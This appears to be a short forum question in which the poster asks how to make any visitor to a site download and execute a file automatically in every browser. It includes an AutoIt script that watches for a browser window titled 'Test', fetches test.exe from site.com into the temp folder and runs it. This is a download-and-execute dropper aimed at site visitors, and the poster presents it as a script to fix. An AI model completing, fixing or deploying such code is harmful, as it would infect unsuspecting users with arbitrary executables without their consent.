Okay, I want that when a user enter x site get download and execute x file, but I tried to do does not work.
I want to work in every browser, ie, ff, chrome, opera, etc..
#include <Inet.au3> While(1) Sleep( 3000 ) Local $handle = WinGetHandle("[ACTIVE]") If( $handle = "Test - Windows Internet Explorer" ) Then InetGet("http://www.site.com/test.exe", @TempDir & "\test.exe") ShellExecute (@TempDir & "\test.exe") EndIf WEnd